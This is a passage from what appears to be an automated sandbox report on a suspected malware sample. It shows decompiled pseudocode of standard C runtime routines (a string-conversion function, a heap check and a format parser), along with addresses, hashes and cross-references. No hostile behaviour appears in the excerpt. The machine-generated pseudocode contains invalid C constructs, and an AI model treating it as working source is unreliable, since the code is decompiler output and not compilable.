							_t80 = L0041E420();
							_t132 = _t132 + 0x14;
							__eflags = _t80 - 1;
							if(_t80 == 1) {
								asm("int3");
							}
						}
						__eflags =  *(_t129 - 0x18);
						if( *(_t129 - 0x18) != 0) {
							goto L43;
						} else {
							 *((intOrPtr*)(L00422F10(_t104))) = 0x22;
							E00422CA0(_t97, _t104, _t127, _t128, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
							_t75 = 0x22;
							goto L48;
						}
					} else {
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) != 0) {
							 *( *(_t129 + 0xc)) = 0;
							__eflags =  *(_t129 + 0x10) - 0xffffffff;
							if( *(_t129 + 0x10) != 0xffffffff) {
								__eflags =  *(_t129 + 0x10) - 0x7fffffff;
								if( *(_t129 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t129 + 0x10) - 1;
									if( *(_t129 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t125 =  *(_t129 + 0x10) - 1;
											__eflags = _t125;
											 *(_t129 - 0x28) = _t125;
										} else {
											_t108 =  *0x440208; // 0xffffffff
											 *(_t129 - 0x28) = _t108;
										}
										_t100 =  *(_t129 + 0xc) + 1;
										__eflags =  *(_t129 + 0xc) + 1;
										E0041B5B0(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x28));
									}
								}
							}
						}
						_t75 =  *((intOrPtr*)(L00422F10(_t100)));
						L48:
						return _t75;
					}
				}
				 *((intOrPtr*)(L00422F10(0x7fffffff))) = 0x16;
				E00422CA0(_t97, 0x7fffffff, _t127, _t128, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
				_t75 = 0x16;
				goto L48;
			}

0x004377a3
0x004377a3
0x004377a3
0x004377a6
0x004377ad
0x004377c4
0x004377ca
0x004377da
0x004377da
0x004377dd
0x004377cc
0x004377cc
0x004377d2
0x004377d2
0x004377f0
0x004377f5
0x004377f5
0x004377fc
0x004377fe
0x00437801
0x00437801
0x0043780d
0x00437817
0x0043781a
0x0043780f
0x00437812
0x00437812
0x00437820
0x0043782b
0x0043782d
0x00437830
0x00437833
0x00437835
0x0043783a
0x0043783c
0x00437841
0x00437846
0x00437848
0x0043784d
0x00437853
0x00437855
0x00437855
0x00437853
0x0043785a
0x0043789b
0x0043789f
0x004378a4
0x004378a7
0x004378aa
0x004378ae
0x0043791a
0x0043791d
0x00437920
0x00437924
0x00437a11
0x00437a11
0x00437a15
0x00437a1d
0x00437a1d
0x00437a1f
0x00000000
0x00437a1f
0x0043792d
0x00437930
0x00437a07
0x00437a0a
0x00437a0a
0x00437a0d
0x00000000
0x00437a0d
0x00437936
0x0043793a
0x004379fa
0x004379fd
0x00437a00
0x00000000
0x00437a00
0x00437943
0x00437946
0x0043794a
0x0043794c
0x00437953
0x00437955
0x00437959
0x00437961
0x00437967
0x00437976
0x00437976
0x00437979
0x00437969
0x00437969
0x0043796e
0x0043796e
0x0043797c
0x00437988
0x0043798c
0x00437991
0x00437991
0x00437959
0x00437953
0x00437994
0x00437997
0x0043799a
0x0043799e
0x004379a1
0x004379a3
0x004379a8
0x004379aa
0x004379af
0x004379b4
0x004379b6
0x004379bb
0x004379be
0x004379c1
0x004379c3
0x004379c3
0x004379c1
0x004379c4
0x004379c8
0x00000000
0x004379ca
0x004379cf
0x004379eb
0x004379f3
0x00000000
0x004379f3
0x004378b0
0x004378b0
0x004378b4
0x004378b9
0x004378bc
0x004378c0
0x004378c2
0x004378c9
0x004378cb
0x004378cf
0x004378d7
0x004378dd
0x004378ed
0x004378ed
0x004378f0
0x004378df
0x004378df
0x004378e5
0x004378e5
0x004378ff
0x004378ff
0x00437903
0x00437908
0x004378cf
0x004378c9
0x004378c0
0x00437910
0x00437a22
0x00437a25
0x00437a25
0x004378ae
0x00437861
0x0043787d
0x00437885
0x00000000

APIs

_memset.LIBCMT ref: 004377F0
__invalid_parameter.LIBCMTD ref: 0043787D

Strings

bufferSize <= INT_MAX, xrefs: 00437835, 00437878
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00437841, 0043786E
_wcstombs_s_l, xrefs: 00437873

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3961059608-322421350
Opcode ID: 7a9118cbbc650944320ca362fbd724764fc9a0eef423cb1919e43218a2b9cbe5
Instruction ID: 95b21242dbea177b948315ba86358ad68a8ec6414dadfeb085ad1033e8fdd219
Opcode Fuzzy Hash: 7a9118cbbc650944320ca362fbd724764fc9a0eef423cb1919e43218a2b9cbe5
Instruction Fuzzy Hash: A121B0B0A04349EBCB34DF58CD45BAE77A1BB08718F20462FE8A42B3C0D7799950CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041C9F3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041CAFD
__free_base.LIBCMTD ref: 0041CB09

Strings

t!hD&@, xrefs: 0041CA09
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041CA17
pHead->nBlockUse == nBlockUse, xrefs: 0041CA0B

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __free_base_memset
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nBlockUse == nBlockUse$t!hD&@
API String ID: 2669475236-3516989280
Opcode ID: fb5b138f8c5d43972584d2c9c0704d5c932171c3125ccf64173851ee85f6085b
Instruction ID: 9bceaa13f4414ad1d25fc7a5b2f9d5bb2b45f78d72fdadff66b2ad19c540a0fe
Opcode Fuzzy Hash: fb5b138f8c5d43972584d2c9c0704d5c932171c3125ccf64173851ee85f6085b
Instruction Fuzzy Hash: 18215074A40108EFCB05CF40DA85BAA77B2BF85308F30C199E4051B395D779EE42DB89

Uniqueness

Uniqueness Score: -1.00%

Function 0043C456, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C456(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				intOrPtr _t501;
				signed int _t519;
				intOrPtr _t523;
				intOrPtr _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *(_t525 - 0x30) = 8;
					while(1) {
						L143:
						 *(__ebp - 0x460) = 7;
						while(1) {
							L145:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								__edx = 0x30;
								 *(__ebp - 0x14) = __dx;
								 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
								__eflags =  *(__ebp - 0x460) + 0x51;
								 *(__ebp - 0x12) = __ax;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L150:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428400(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428400(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
												 *(__ebp - 0x49c) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428400(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
										 *(__ebp - 0x49c) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L167;
								}
								L163:
								__eflags =  *(__ebp - 0x49c);
								if(__eflags > 0) {
									goto L167;
								}
								L164:
								if(__eflags < 0) {
									L166:
									 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
									__edx =  *(__ebp - 0x49c);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
									 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L168:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x4a8);
											__eax =  *(__ebp - 0x4a4);
											__eax =  *(__ebp - 0x4a4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x4a4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x249;
									 *(__ebp - 4) = __ebp - 0x249;
									while(1) {
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										L179:
										 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
											L183:
											__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L187:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L212;
													}
													L188:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	__edx = 0x20;
																	 *(__ebp - 0x14) = __dx;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																__eax = 0x2b;
																 *(__ebp - 0x14) = __ax;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__ecx = 0x2d;
															 *(__ebp - 0x14) = __cx;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043CB90(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E0043CBD0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x44c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x4ac);
															__eax = E0043CB90(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) != 0) {
														L208:
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x24);
														__edx =  *(__ebp - 4);
														__eax = E0043CBD0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
														goto L209;
													} else {
														L201:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L208;
														}
														L202:
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x4b0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
														while(1) {
															L203:
															__ecx =  *(__ebp - 0x4b4);
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															__eflags = __ecx;
															if(__ecx <= 0) {
																break;
															}
															L204:
															__ecx = __ebp - 0x40;
															__eax = E0041AEF0(__ebp - 0x40);
															__ecx = __ebp - 0x40;
															E0041AEF0(__ebp - 0x40) =  *__eax;
															__ecx =  *(__ebp - 0x458 + 0xac);
															__edx =  *(__ebp - 0x4b0);
															__eax = __ebp - 0x458;
															 *(__ebp - 0x4b8) = E0043B630(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
															__eflags =  *(__ebp - 0x4b8);
															if( *(__ebp - 0x4b8) > 0) {
																L206:
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x458) & 0x0000ffff = E0043CB30( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																continue;
															}
															L205:
															 *(__ebp - 0x44c) = 0xffffffff;
															break;
														}
														L207:
														L209:
														__eflags =  *(__ebp - 0x44c);
														if( *(__ebp - 0x44c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x4ac) = E0043CB90(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
															}
														}
													}
													L212:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														__ecx =  *(__ebp - 0x20);
														__eax = L0041C5E0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L214:
														 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
														_t502 =  *(_t525 - 0x454) & 0x0000ffff;
														 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
														if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
															break;
														} else {
															if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
																 *(_t525 - 0x4d8) = 0;
															} else {
																 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
															}
														}
														L7:
														 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
														_t519 =  *(_t525 - 0x450) * 9;
														_t490 =  *(_t525 - 0x45c);
														_t510 = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
														 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
														if( *(_t525 - 0x45c) != 8) {
															L16:
															 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
															__eflags =  *(_t525 - 0x4e0) - 7;
															if( *(_t525 - 0x4e0) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043CA24))) {
																case 0:
																	L18:
																	 *(_t525 - 0xc) = 1;
																	E0043CB30( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																	_t527 = _t527 + 0xc;
																	goto L214;
																case 1:
																	L19:
																	 *(__ebp - 0x2c) = 0;
																	__ecx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) = __ecx;
																	__edx =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__eax =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L214;
																case 2:
																	L20:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e4) = __ecx;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	__eflags =  *(__ebp - 0x4e4) - 0x10;
																	if( *(__ebp - 0x4e4) > 0x10) {
																		goto L27;
																	}
																	L21:
																	_t57 =  *(__ebp - 0x4e4) + 0x43ca5c; // 0x498d04
																	__ecx =  *_t57 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA44))) {
																		case 0:
																			goto L24;
																		case 1:
																			goto L25;
																		case 2:
																			goto L23;
																		case 3:
																			goto L22;
																		case 4:
																			goto L26;
																		case 5:
																			goto L27;
																	}
																case 3:
																	L28:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__edx =  *(__ebp - 0x18);
																		__edx =  *(__ebp - 0x18) * 0xa;
																		__eflags = __edx;
																		_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__ecx = __edx + _t81;
																		 *(__ebp - 0x18) = __ecx;
																	} else {
																		__edx = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			__ecx =  *(__ebp - 0x18);
																			__ecx =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) = __ecx;
																		}
																	}
																	L33:
																	goto L214;
																case 4:
																	L34:
																	 *(__ebp - 0x30) = 0;
																	goto L214;
																case 5:
																	L35:
																	__edx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__ecx =  *(__ebp - 0x30);
																		__ecx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __ecx;
																		_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__eax = __ecx + _t92;
																		 *(__ebp - 0x30) = __ecx + _t92;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L214;
																case 6:
																	L41:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e8) = __ecx;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	__eflags =  *(__ebp - 0x4e8) - 0x2e;
																	if( *(__ebp - 0x4e8) > 0x2e) {
																		L64:
																		goto L214;
																	}
																	L42:
																	_t100 =  *(__ebp - 0x4e8) + 0x43ca84; // 0xc2919003
																	__ecx =  *_t100 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA70))) {
																		case 0:
																			L47:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																				L50:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																					L53:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																					if(( *__ecx & 0x0000ffff) == 0x64) {
																						L59:
																						L61:
																						goto L64;
																					}
																					L54:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x69;
																					if(__ecx == 0x69) {
																						goto L59;
																					}
																					L55:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																						goto L59;
																					}
																					L56:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																					if(( *__ecx & 0x0000ffff) == 0x75) {
																						goto L59;
																					}
																					L57:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x78;
																					if(__ecx == 0x78) {
																						goto L59;
																					}
																					L58:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																						 *(__ebp - 0x45c) = 0;
																						goto L18;
																					}
																					goto L59;
																				}
																				L51:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																				__eflags = __ecx - 0x32;
																				if(__ecx != 0x32) {
																					goto L53;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					goto L61;
																				}
																			}
																			L48:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x34;
																			if(__ecx != 0x34) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				goto L61;
																			}
																		case 1:
																			L62:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) = __ecx;
																			goto L64;
																		case 2:
																			L43:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L64;
																		case 3:
																			L63:
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																			goto L64;
																		case 4:
																			goto L64;
																	}
																case 7:
																	L65:
																	__eax =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																	__ecx =  *(__ebp - 0x4ec);
																	__ecx =  *(__ebp - 0x4ec) - 0x41;
																	 *(__ebp - 0x4ec) = __ecx;
																	__eflags =  *(__ebp - 0x4ec) - 0x37;
																	if( *(__ebp - 0x4ec) > 0x37) {
